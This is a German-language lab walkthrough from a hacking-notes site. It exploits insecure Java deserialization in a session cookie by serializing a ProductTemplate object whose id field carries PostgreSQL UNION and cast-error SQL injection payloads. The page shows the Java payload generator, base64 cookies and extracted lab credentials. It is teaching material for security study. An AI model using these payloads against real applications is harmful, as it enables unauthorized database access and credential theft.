> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/deserialization/developing-custom-gadget-chain-for-java-deserialization.md).

# Entwicklung einer benutzerdefinierten Gadget-Kette für die Java-Deserialisierung

### Entwicklung einer benutzerdefinierten Gadget-Chain für Java-Deserialisierung

**Lernziel**

Dieses Labor basiert auf einem Sitzungsmechanismus mit Java-Serialisierung. Durch den Aufbau eines \*\*benutzerdefinierten Gadget-Strings\*\* ist es möglich, die unsichere Deserialisierung auszunutzen, um **das Passwort des Administrators abzurufen**, dann mit diesem Konto verbinden und Benutzer löschen **carlos**.

Bereitgestellter Bezeichner:

* Benutzer: `wiener`
* Passwort: `peter`

\*\* Erste Analyse der Sitzung\*\*

Das beobachtete Session-Cookie ist in Base64 kodiert:

{% code overflow="wrap" %}

```bash
rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBnNnBnbmYxMWtubDlqMjl6YjZlb2piY2h1dG9yZjc0ZXQABndpZW5lcg%3d%3d
```

{% endcode %}

Nach der Dekodierung wird eine Java\*\*-Serialisierung\*\* eindeutig erkannt, was die Verwendung von `ObjectInputStream` auf der Serverseite hin.

{% code overflow="wrap" %}

```bash
echo 'rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBnNnBnbmYxMWtubDlqMjl6YjZlb2piY2h1dG9yZjc0ZXQABndpZW5lcg==' | base64 -d ; echo
```

{% endcode %}

<figure><img src="/files/00ce12e2f0044be799d22df8f5161f3d644ad1f9" alt=""><figcaption></figcaption></figure>

**Zugriff auf den Quellcode**

Ein HTML-Kommentar enthält einen Link zu einer Java-Quellcode-Sicherung:

```html
<!-- <a href=/backup/AccessTokenUser.java>Beispielbenutzer</a> -->
```

<figure><img src="/files/0718f597075ae18fd2ca08b7bb10871cffc0d12d" alt=""><figcaption></figcaption></figure>

Inhalt der `AccessTokenUser.java` Datei ein:

* Serialisierbare Klasse
* Zwei Attribute: `Benutzernamen` und `accessToken`
* Kein direkt ausnutzbares gefährliches Verhalten

```java
package data.session.token;

import java.io.Serializable;

public class AccessTokenUser implements Serializable
{
    private final String username;
    private final String accessToken;

    public AccessTokenUser(String username, String accessToken)
    {
        this.username = username;
        this.accessToken = accessToken;
    }

    public String getUsername()
    {
        return username;
    }

    public String getAccessToken()
    {
        return accessToken;
    }
}
```

In dem `/backup` Ordner zieht eine andere Datei die Aufmerksamkeit auf sich: **`ProductTemplate.java`**.

<figure><img src="/files/a7223a43073b0aac1fd9be4e8d430a3bb9911770" alt=""><figcaption></figcaption></figure>

**Verwundbare Klasse: ProductTemplate**

Das `ProductTemplate` Klasse implementiert `Serializable` und definiert die `readObject()` Methode neu.

Kritische Punkte:

* Das `readObject()` Methode wird beim Deserialisieren automatisch ausgeführt
* Eine SQL-Abfrage wird dynamisch mit `String.format`
* Das `id` Parameter wird direkt ohne Validierung in die Abfrage injiziert

```java
String sql = String.format(
  "SELECT * FROM products WHERE id = '%s' LIMIT 1", id
);
```

```java
package data.productcatalog;

import common.db.JdbcConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
    {
        inputStream.defaultReadObject();

        JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
                "org.postgresql.Driver",
                "postgresql",
                "localhost",
                5432,
                "postgres",
                "postgres",
                "password"
        ).withAutoCommit();
        try
        {
            Connection connect = connectionBuilder.connect(30);
            String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
            Statement statement = connect.createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            if (!resultSet.next())
            {
                return;
            }
            product = Product.from(resultSet);
        }
        catch (SQLException e)
        {
            throw new IOException(e);
        }
    }

    public String getId()
    {
        return id;
    }

    public Product getProduct()
    {
        return product;
    }
}

```

**Erstellung der Java-Payload**

Zum Erzeugen eines gültigen serialisierten Objekts wird ein lokales Java-Projekt erstellt:

Minimale Struktur:

```bash
data/
└── productcatalog/
    ├── ProductTemplate.java
    └── Product.java
Main.java
```

Die Klassen werden absichtlich vereinfacht, um nur **Serialisierung**, ohne interne Logik.

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("your-payload-here");

        String serializedObject = serialize(originalObject);

        System.out.println("Serialized object: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("Deserialized object ID: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

**Erzeugung des bösartigen Cookies**

In `Main.java`, ein `ProductTemplate` Objekt wird mit einem kontrollierten Wert für `id`, dann serialisiert und in Base64 kodiert.

```java
// Der gesamte Code wurde aus ProductTemplate entfernt, da er für die Serialisierung nicht benötigt wird

package data.productcatalog;

import java.io.Serializable;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    public String getId() {
        return id;
    }
}
```

```bash
nvim data/productcatalog/Product.java
```

```java
// Diese Klasse wurde nur hinzugefügt, damit ProductTemplate korrekt kompiliert werden kann

package data.productcatalog;
class Product {}
```

Erster Test mit einem einfachen Apostroph:

```java
        ProductTemplate originalObject = new ProductTemplate("'");
```

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("'");

        String serializedObject = serialize(originalObject);

        System.out.println("Serialized object: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("Deserialized object ID: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

Der Server gibt einen SQL-Fehler zurück, was die Injektion bestätigt.

```bash
javac Main.java
java Main
```

<figure><img src="/files/0070c2f748e134c0f9682533a4444140633add9d" alt=""><figcaption></figcaption></figure>

```http
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAASc=
```

<figure><img src="/files/b51203cf14254e9815be135e41fd2ff517f24ca3" alt=""><figcaption></figcaption></figure>

**Ausnutzung der SQL-Injection**

1. **Bestimmung der Anzahl der Spalten**/ → 8 Spalten identifiziert

```java
        ProductTemplate originalObject = new ProductTemplate("' order by 8-- -");
```

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAECcgb3JkZXIgYnkgOC0tIC0=
```

<figure><img src="/files/77989932b2736f7a04a2e086ff0105475f139587" alt=""><figcaption></figcaption></figure>

**SELECT UNION TEST**/ → Die vierte Spalte ist nutzbar

{% code overflow="wrap" %}

```bash
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - ";
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAOicgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTC0tIC0
```

* **Zusammenfassung der Tabellen**
* Identifizierte Tabelle: `users`

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(table_name as numeric),NULL,NULL,NULL,NULL from information_schema.tables-- -");
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAcCcgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLGNhc3QodGFibGVfbmFtZSBhcyBudW1lcmljKSxOVUxMLE5VTEwsTlVMTCxOVUxMIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcy0tIC0=
```

<figure><img src="/files/6edaa9cd67196823b4d07ed2d4ce172aa458764a" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(table_name, ',') as numeric),NULL,NULL,NULL,NULL FROM information_schema.tables-- -");
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAfScgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLChzdHJpbmdfYWdnKHRhYmxlX25hbWUsICcsJykgYXMgbnVtZXJpYyksTlVMTCxOVUxMLE5VTEwsTlVMTCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMtLSAt
```

<figure><img src="/files/dd1a63f77cfa9c759765bd12a33a13dd9e4927c6" alt=""><figcaption></figcaption></figure>

**Aufzählung der Spalten**

* `Benutzernamen`
* `Passwort`
* `E-Mail`

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(column_name, ',') as numeric),NULL,NULL,NULL,NULL FROM information_schema.columns where table_name='users'-- -");
```

{% endcode %}

<figure><img src="/files/7f7d78815447a313f4a5d909b6ea38b72e52a074" alt=""><figcaption></figcaption></figure>

1. **Extraktion der Anmeldedaten**

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username||':'||password, ',') as numeric),NULL,NULL,NULL,NULL FROM users-- -");
```

{% endcode %}

<figure><img src="/files/f46e44ef869e0e2e41fe66da2859519262cb0b0b" alt=""><figcaption></figcaption></figure>

Finale Nutzlast, die in das serialisierte Objekt injiziert wurde:

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username||':'||password, ',') as numeric),NULL,NULL,NULL,NULL FROM
users-- -");

        String serializedObject = serialize(originalObject);

        System.out.println("Serialized object: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("Deserialized object ID: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

**Erzieltes Ergebnis**

Nach dem Senden des serialisierten Cookies gibt die Serverantwort die Anmeldedaten preis:

```wit
administrator:sa47nyh8ebw4q0h7dvhn
wiener:peter
carlos:ig1e9avhmums5iac8rwa
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/deserialization/developing-custom-gadget-chain-for-java-deserialization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
